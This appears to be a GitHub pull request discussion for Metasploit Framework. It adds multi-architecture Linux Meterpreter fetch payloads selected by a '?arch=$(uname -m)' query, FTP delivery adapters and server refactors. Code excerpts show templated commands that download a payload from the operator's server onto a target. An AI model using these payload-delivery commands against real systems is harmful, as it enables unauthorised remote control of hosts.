Fetch Multi Part 2: The Fetchening#21384
Open
bwatters-r7 wants to merge 18 commits into
Open
Conversation
smcintyre-r7
reviewed
May 6, 2026
| end | ||
| end | ||
|
|
||
| def to_meterp_arch(os_arch) |
Contributor
There was a problem hiding this comment.
I think we should block this on rapid7/rex-arch#13
Contributor
Author
There was a problem hiding this comment.
This should be fixed, now.
Contributor
There was a problem hiding this comment.
Pull request overview
Adds a Linux multi-architecture “fetch” workflow intended to serve the correct Linux Meterpreter/Mettle binary based on the calling host’s architecture (via HTTP query strings), alongside broader refactors to fetch payload serving to support multiple served resources and new FTP delivery support.
Changes:
- Introduces a new Linux ARCH_ANY Meterpreter (stageless mettle) payload and supporting Linux multi-arch transform logic.
- Refactors fetch adapter/server plumbing to serve multiple resources per handler and adds dynamic-arch HTTP handling via
?arch=.... - Adds an in-memory anonymous FTP server plus many new FTP fetch adapter modules (Linux + Windows), and improves TFTP server resource cleanup.
Impact Analysis:
- Blast radius: high — shared fetch adapter logic (
lib/msf/core/payload/adapter/fetch.rb) and HTTP/TFTP/SMB handler mixins affect many fetch payloads and handler startup/cleanup paths; new FTP server introduces a new service type underRex::Proto. - Data and contract effects: medium — changes handler request expectations (dynamic-arch requires query string), modifies how resources are tracked/served (
@srv_resources), and introduces new options/behaviors that can change runtime payload generation and UUID/arch selection. - Rollback and test focus: rollback is code-only but touches core mixins; focus testing on (1) existing fetch payloads (HTTP/HTTPS/TFTP/SMB) still serving correctly, (2) multi-arch HTTP path with and without
archquery param, and (3) concurrent/multiple client fetches for differing architectures.
Reviewed changes
Copilot reviewed 33 out of 33 changed files in this pull request and generated 6 comments.
Show a summary per file
| File | Description |
|---|---|
| spec/modules/payloads_spec.rb | Adds spec coverage hooks for new cmd/linux/http/multi adapter and linux/multi payload caching behavior. |
| modules/payloads/singles/linux/multi/meterpreter_reverse_tcp.rb | New ARCH_ANY Linux stageless Meterpreter/Mettle payload using the new multi-arch logic. |
| modules/payloads/adapters/cmd/windows/ftp/x86.rb | New Windows x86 FTP fetch adapter wrapper. |
| modules/payloads/adapters/cmd/windows/ftp/x64.rb | New Windows x64 FTP fetch adapter wrapper. |
| modules/payloads/adapters/cmd/linux/http/multi.rb | New Linux HTTP “multi” fetch adapter (ARCH_ANY) intended for dynamic arch selection. |
| modules/payloads/adapters/cmd/linux/ftp/x86.rb | New Linux x86 FTP fetch adapter wrapper. |
| modules/payloads/adapters/cmd/linux/ftp/x64.rb | New Linux x64 FTP fetch adapter wrapper. |
| modules/payloads/adapters/cmd/linux/ftp/riscv64le.rb | New Linux RISC-V 64-bit LE FTP fetch adapter wrapper. |
| modules/payloads/adapters/cmd/linux/ftp/riscv32le.rb | New Linux RISC-V 32-bit LE FTP fetch adapter wrapper. |
| modules/payloads/adapters/cmd/linux/ftp/ppc64.rb | New Linux PPC64 FTP fetch adapter wrapper. |
| modules/payloads/adapters/cmd/linux/ftp/ppc.rb | New Linux PPC FTP fetch adapter wrapper. |
| modules/payloads/adapters/cmd/linux/ftp/mipsle.rb | New Linux MIPSLE FTP fetch adapter wrapper. |
| modules/payloads/adapters/cmd/linux/ftp/mipsbe.rb | New Linux MIPSBE FTP fetch adapter wrapper. |
| modules/payloads/adapters/cmd/linux/ftp/mips64.rb | New Linux MIPS64 FTP fetch adapter wrapper. |
| modules/payloads/adapters/cmd/linux/ftp/armle.rb | New Linux ARMLE FTP fetch adapter wrapper. |
| modules/payloads/adapters/cmd/linux/ftp/armbe.rb | New Linux ARMBE FTP fetch adapter wrapper. |
| modules/payloads/adapters/cmd/linux/ftp/aarch64.rb | New Linux AARCH64 FTP fetch adapter wrapper. |
| lib/rex/proto/tftp/server.rb | Adds aliasing helpers and file deregistration support for TFTP service cleanup. |
| lib/rex/proto/ftp/server.rb | Adds a new lightweight in-memory anonymous FTP server implementation. |
| lib/msf/core/payload/linux/multi_arch.rb | Adds Linux multi-arch mapping helpers and REQUESTED_ARCH option for payload generation/UUID arch selection. |
| lib/msf/core/payload/adapter/fetch/tftp.rb | Refactors TFTP fetch handler setup to support multiple resources. |
| lib/msf/core/payload/adapter/fetch/smb.rb | Updates SMB fetch handler setup to pull served data from the new resource list. |
| lib/msf/core/payload/adapter/fetch/server/tftp.rb | Refactors TFTP server startup via Rex::ServiceManager and supports multiple resources + cleanup. |
| lib/msf/core/payload/adapter/fetch/server/http.rb | Adds dynamic-arch request handling (?arch=) and refactors HTTP serving to use resource entries. |
| lib/msf/core/payload/adapter/fetch/server/ftp.rb | New FTP fetch server mixin using the new in-memory FTP server. |
| lib/msf/core/payload/adapter/fetch/pipe.rb | New shared helper for pipe-enabled fetch payload command generation. |
| lib/msf/core/payload/adapter/fetch/multi.rb | New shared helper for multi-arch fetch behaviors (including OS-arch to meterpreter-arch mapping). |
| lib/msf/core/payload/adapter/fetch/https.rb | Refactors HTTPS fetch handler setup to serve from the new resource list. |
| lib/msf/core/payload/adapter/fetch/http.rb | Refactors HTTP fetch handler setup to serve from the new resource list. |
| lib/msf/core/payload/adapter/fetch/ftp.rb | New FTP fetch transport mixin wiring handler lifecycle to the FTP server mixin. |
| lib/msf/core/payload/adapter/fetch.rb | Core refactor: resource list (@srv_resources), dynamic-arch placeholder serving, and updated command generation plumbing. |
| lib/msf/base/sessions/meterpreter_multi_linux.rb | Adds a Linux platform-specific, arch-agnostic Meterpreter session class. |
| lib/msf_autoload.rb | Updates Zeitwerk inflections/camelization to support rex/proto/ftp module naming. |
bwatters-r7
force-pushed
the
feature/fetch-multi-3
branch
from
3176e9e to
fff52bf
Compare
bwatters-r7
commented
May 14, 2026
…in FETCH FILELESS
bwatters-r7
force-pushed
the
feature/fetch-multi-3
branch
from
4797295 to
ecc5f41
Compare
Comment on lines
109
to
124
| def generate(opts = {}) | ||
| opts[:arch] ||= module_info['AdaptedArch'] | ||
| opts[:code] = super | ||
| @srvexe = generate_payload_exe(opts) | ||
| if datastore['FETCH_PIPE'] | ||
| unless pipe_supported_binaries.include?(datastore['FETCH_COMMAND'].upcase) | ||
| fail_with(Msf::Module::Failure::BadConfig, "Unsupported binary selected for FETCH_PIPE option: #{datastore['FETCH_COMMAND']}, must be one of #{pipe_supported_binaries}.") | ||
| if opts[:dynamic_arch].nil? | ||
| opts[:arch] ||= module_info['AdaptedArch'] | ||
| if opts[:arch] == ARCH_ANY && module_info['AdaptedPlatform'] == 'linux' | ||
| multi_supported_fileless = ['none', 'python3.8+'] | ||
| multi_supported_cmd = ['WGET', 'CURL'] | ||
| fail_with(Msf::Module::Failure::BadConfig, 'Selected option for FETCH_FILELESS is not supported on multi arch Meterpreter.') unless multi_supported_fileless.include?(datastore['FETCH_FILELESS']) | ||
| fail_with(Msf::Module::Failure::BadConfig, 'Selected option for FETCH_COMMAND is not supported on multi arch Meterpreter.') unless multi_supported_cmd.include?(datastore['FETCH_COMMAND']) | ||
| opts[:dynamic_arch] = true | ||
| # placeholder — binary is generated on demand at request time once arch is known | ||
| add_srv_entry(srvuri, 'x', opts) | ||
| else | ||
| opts[:dynamic_arch] = false | ||
| opts[:code] = super(opts) | ||
| add_srv_entry(srvuri, generate_payload_exe(opts), opts) | ||
| end |
bwatters-r7
commented
Jun 4, 2026
| @@ -0,0 +1,291 @@ | |||
| # -*- coding: binary -*- | |||
Contributor
Author
There was a problem hiding this comment.
We have an FTP server in lib/msf/core/exploit/remote, so I'm on the fence on this. The server should be here, but I could rejigger the server to use the one there? I think we should probably have an unified server location, but I had mixed feelings shifting it around on this PR?
Contributor
There was a problem hiding this comment.
Sounds to me like a little bit separate issue from fetch payloads itself (?) so maybe separate PR would make more sense?
Contributor
Author
There was a problem hiding this comment.
I can remove it from this, but that means removing all the FTP payloads, specs, and logic to allow the FTP command to be used.
adfoster-r7
reviewed
Jun 4, 2026
Comment on lines
396
to
401
| when 'HTTPS' | ||
| # There is no way to disable cert check in GET ... | ||
| print_error('GET binary does not support insecure mode') | ||
| fail_with(Msf::Module::Failure::BadConfig, 'FETCH_CHECK_CERT must be true when using GET') | ||
| get_file_cmd = "GET -m GET https://#{download_uri}>#{_remote_destination}" | ||
| get_file_cmd = "GET -m GET https://#{download_uri(uri)} | tee #{_remote_destination}" | ||
| when 'FTP' |
Comment on lines
+24
to
+28
| begin | ||
| if fetch_service.resources.include?(uri) | ||
| # When we clean up, we need to leave resources alone, because we never added one. | ||
| fail_with(Msf::Exploit::Failure::BadConfig, 'Resource collision detected. Set FETCH_URIPATH to a different value to continue.') | ||
| end |
adfoster-r7
reviewed
Jun 4, 2026
| if opts[:dynamic_arch] | ||
| vprint_status("Dynamic Payload Detected, expecting a Query String in the request...") | ||
| query_string = request.uri_parts['QueryString'] || {} | ||
| arch_param = query_string['arch'] |
Contributor
There was a problem hiding this comment.
not a blocker; do we want to obuscate this as a second pass, potentially similars to meterpreter's upcoming profile support, or its existing fingerprinting logic that it uses for its GET requests
Contributor
There was a problem hiding this comment.
Would it make sense to generate random parameter name and then just fetch the first parameter from request, whatever its name is?
adfoster-r7
reviewed
Jun 4, 2026
adfoster-r7
reviewed
Jun 4, 2026
adfoster-r7
reviewed
Jun 4, 2026
| fail_with(Msf::Module::Failure::BadConfig, 'Selected option for FETCH_COMMAND is not supported on multi arch Meterpreter.') unless multi_supported_cmd.include?(datastore['FETCH_COMMAND']) | ||
| opts[:dynamic_arch] = true | ||
| # placeholder — binary is generated on demand at request time once arch is known | ||
| add_srv_entry(srvuri, 'x', opts) |
Contributor
There was a problem hiding this comment.
not a blocker; we might want to circle back to a cleaner pattern here with the state tracking and placeholder values 👀
adfoster-r7
reviewed
Jun 4, 2026
| def generate_fetch_commands | ||
| # TODO: Make a check method that determines if we support a platform/server/command combination | ||
| # | ||
| def generate_fetch_commands(uri: srvuri, dynamic_arch: false) |
Contributor
There was a problem hiding this comment.
Might want to cross-check with a dictionary on a better name here 😄
unknown_arch ? deferred_arch ? something else?
adfoster-r7
reviewed
Jun 4, 2026
|
|
||
| def mettle_arch_transform(arch) | ||
| case arch | ||
| when ARCH_AARCH64, 'ARCH_AARCH64' |
Contributor
There was a problem hiding this comment.
>> Rex::Arch::ARCH_AARCH64
=> "aarch64"
adfoster-r7
reviewed
Jun 4, 2026
| until shutting_down | ||
| begin | ||
| client = listener.accept | ||
| Rex::ThreadFactory.spawn('FTPServerClientHandler', false) do |
Contributor
There was a problem hiding this comment.
Suggested change
| Rex::ThreadFactory.spawn('FTPServerClientHandler', false) do | |
| Rex::ThreadFactory.spawn("FTPServerClientHandler-#{sel.listen_host}-#{sel.listen_port}", false) do |
adfoster-r7
reviewed
Jun 4, 2026
adfoster-r7
reviewed
Jun 4, 2026
adfoster-r7
reviewed
Jun 4, 2026
adfoster-r7
reviewed
Jun 4, 2026
adfoster-r7
reviewed
Jun 4, 2026
| end | ||
| end | ||
|
|
||
| def handle_client(client) |
Contributor
There was a problem hiding this comment.
Might just need an extra security eyeball 👀
7 tasks
| end | ||
| end | ||
|
|
||
| fetch_service = nil |
Contributor
Author
There was a problem hiding this comment.
I believe this is the requested change of behavior with servers according to @adfoster-r7?
| fetch_service.deregister_file(uri) | ||
| end | ||
| @myresources = [] | ||
| fetch_service = nil |
Contributor
Author
There was a problem hiding this comment.
I believe this is the requested change of behavior with servers according to @adfoster-r7?
| fetch_service.deregister_file(uri) | ||
| end | ||
| @myresources = [] | ||
| fetch_service = nil |
Contributor
Author
There was a problem hiding this comment.
I believe this is the requested change of behavior with servers according to @adfoster-r7?
| def cleanup_smb_fetch_service(fetch_service) | ||
| fetch_service.remove_share(@fetch_virtual_disk) | ||
| fetch_service.deref | ||
| fetch_service = nil |
Contributor
Author
There was a problem hiding this comment.
I believe this is the requested change of behavior with servers according to @adfoster-r7?
Comment on lines
394
to
+398
| case fetch_protocol | ||
| when 'HTTP' | ||
| get_file_cmd = "GET -m GET http://#{download_uri}>#{_remote_destination}" | ||
| get_file_cmd = "GET -m GET http://#{download_uri(uri)} | tee #{_remote_destination}" | ||
| when 'HTTPS' | ||
| # There is no way to disable cert check in GET ... | ||
| print_error('GET binary does not support insecure mode') | ||
| fail_with(Msf::Module::Failure::BadConfig, 'FETCH_CHECK_CERT must be true when using GET') | ||
| get_file_cmd = "GET -m GET https://#{download_uri}>#{_remote_destination}" | ||
| unless datastore['FETCH_CHECK_CERT'] |
Contributor
Author
There was a problem hiding this comment.
The use of tee here is to fix a bug where we used double redirects in the case of FETCH_FILELESS. Maybe we need to change this behavior to insert the tee when fetch fileless is not none?
Contributor
There was a problem hiding this comment.
What kind of bug do you mean? IIRC, in case of FETCH_FILELESS, the get_file_cmd is usually called in subshell ( $(...)), so the redirection takes place in separate shell. I might be wrong though.
Contributor
Author
There was a problem hiding this comment.
Huh; you're right. Not sure why this was failing before, but it works with the redirect. I replaced the redirect. 🤷
Contributor
Author
|
For anyone looking to test this, I have some vibe-coded, AI-slop testing scripts: Linux FTPLinux HTTPLinux HTTPSLinux TFTPLinux Fetch MultiWindows HTTPWindows tests work a lot better because of the timeout issues I kept hitting, so you might need to run the Linux tests a couple times and make sure the failures are inconsistent. Also, I ran into issues where having the database running caused intermittent errors and failures. I have no idea why. |
| if opts[:dynamic_arch] | ||
| vprint_status("Dynamic Payload Detected, expecting a Query String in the request...") | ||
| query_string = request.uri_parts['QueryString'] || {} | ||
| arch_param = query_string['arch'] |
Contributor
There was a problem hiding this comment.
Would it make sense to generate random parameter name and then just fetch the first parameter from request, whatever its name is?
| vprint_status("Dynamic Payload Detected, expecting a Query String in the request...") | ||
| query_string = request.uri_parts['QueryString'] || {} | ||
| arch_param = query_string['arch'] | ||
| if arch_param.nil? || arch_param.strip.empty? |
Contributor
There was a problem hiding this comment.
Would this work as well?
Suggested change
| if arch_param.nil? || arch_param.strip.empty? | |
| if arch_param.blank? |
Contributor
Author
There was a problem hiding this comment.
Would it make sense to generate random parameter name and then just fetch the first parameter from request, whatever its name is?
I don't follow? What issue would that solve?
| else | ||
| fail_with(Msf::Module::Failure::BadConfig, 'Unsupported Binary Selected') | ||
| end | ||
| get_file_cmd << '?arch=$(uname -m)' if dynamic_arch |
Contributor
There was a problem hiding this comment.
Can we just randomize the parameter name instead of fixed arch and then fetch the first argument when parsing the request? Would it make sense?
Contributor
Author
There was a problem hiding this comment.
Are you asking if we could randomize the query string we send and use that as a mapping to send the right arch payload?
If so, the answer is yes and no- Fetch payload URIs are generated to look random, but are based on the payload values so that a default URI for a given payload with a given callback IP and port get a deterministic but random-looking URI so that we can create the payload and listener separately. That means a payload create in msfvenom will work with a listener in framework if the payload, IP, and ports match.
If we create a random value to represent the arch, then we would need to somehow get that random value mapping from and to asynchronous generators/listeners. While possible, that's a PITA.
There are a couple ways we could get around this, but they are all complicated and many rely on a binary being present on the target host. Since this is in the background, we don't really need to implement it right now, either.
- We could do something like base64 encoding the uname result with the filename and return that as the query string.
- We could xor the uname value with the lport value.
- We could ask for a "secret" value and use that to obfuscate the uname value in the query string.
There are lots of other ways, but to get things to work right, we need to share a "secret" or obfuscate it with pseudorandomness.
Contributor
There was a problem hiding this comment.
I think he was asking just to change the ?arch= to be runtime generated, like ?asJan= and have it set up randomly at every to_handler
Contributor
Author
There was a problem hiding this comment.
Oh; I see. Thank you!
Contributor
Author
There was a problem hiding this comment.
After thinking on this, if we randomize the query string parameter, then we'd either have to share it with the handler or we'd limit the extensibility.
Comment on lines
394
to
+398
| case fetch_protocol | ||
| when 'HTTP' | ||
| get_file_cmd = "GET -m GET http://#{download_uri}>#{_remote_destination}" | ||
| get_file_cmd = "GET -m GET http://#{download_uri(uri)} | tee #{_remote_destination}" | ||
| when 'HTTPS' | ||
| # There is no way to disable cert check in GET ... | ||
| print_error('GET binary does not support insecure mode') | ||
| fail_with(Msf::Module::Failure::BadConfig, 'FETCH_CHECK_CERT must be true when using GET') | ||
| get_file_cmd = "GET -m GET https://#{download_uri}>#{_remote_destination}" | ||
| unless datastore['FETCH_CHECK_CERT'] |
Contributor
There was a problem hiding this comment.
What kind of bug do you mean? IIRC, in case of FETCH_FILELESS, the get_file_cmd is usually called in subshell ( $(...)), so the redirection takes place in separate shell. I might be wrong though.
| @@ -0,0 +1,291 @@ | |||
| # -*- coding: binary -*- | |||
Contributor
There was a problem hiding this comment.
Sounds to me like a little bit separate issue from fetch payloads itself (?) so maybe separate PR would make more sense?
Contributor
|
Hey @bwatters-r7, left some comments, but the testing looks okay (some scripts were not working, so I tested them manually):
|
Contributor
Author
|
I've rerun the Meterpreter acceptance test 2 times and now gotten 3 different failures. I don't think that anything here would affect |
Contributor
Author
|
Meterpreter acceptance failing. I don't think this is related to this PR? |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment
Add this suggestion to a batch that can be applied as a single commit.This suggestion is invalid because no changes were made to the code.Suggestions cannot be applied while the pull request is closed.Suggestions cannot be applied while viewing a subset of changes.Only one suggestion per line can be applied in a batch.Add this suggestion to a batch that can be applied as a single commit.Applying suggestions on deleted lines is not supported.You must change the existing code in this line in order to create a valid suggestion.Outdated suggestions cannot be applied.This suggestion has been applied or marked resolved.Suggestions cannot be applied from pending reviews.Suggestions cannot be applied on multi-line comments.Suggestions cannot be applied while the pull request is queued to merge.Suggestion cannot be applied right now. Please check back later.
What does this change?
a. Added the new payload and handler for fetch multi
b. Updated the fetch.rb code to handle delayed payload generation.
c. Updated the HTTP[S] fetch servers to look for query strings during the callback.
FETCH_FILENAMEoption when we actually needed it. We should re-evaluate the option names for the SMB fetch because it uses FETCH_URI and FETCH_FILENAME completely differently than every other fetch payload, but I think this PR has already grown enough.rex/protolike all our other servers. We already have a TFTP server inexploit/remote, but almost all our servers now live inrex/proto. The new server also matches the method calls and behaviors of the other severs in rex/proto so using the TFTP server is now the same as other network servers.Adds a fix in the GET fetch command generation where we were previously performing a double redirect when it was combined with FETCH_FILELESS, effectively fetching the payload and wrting it to /dev/nullCloses Add Fetch Linux Multi arch Meterpreter #21389
Example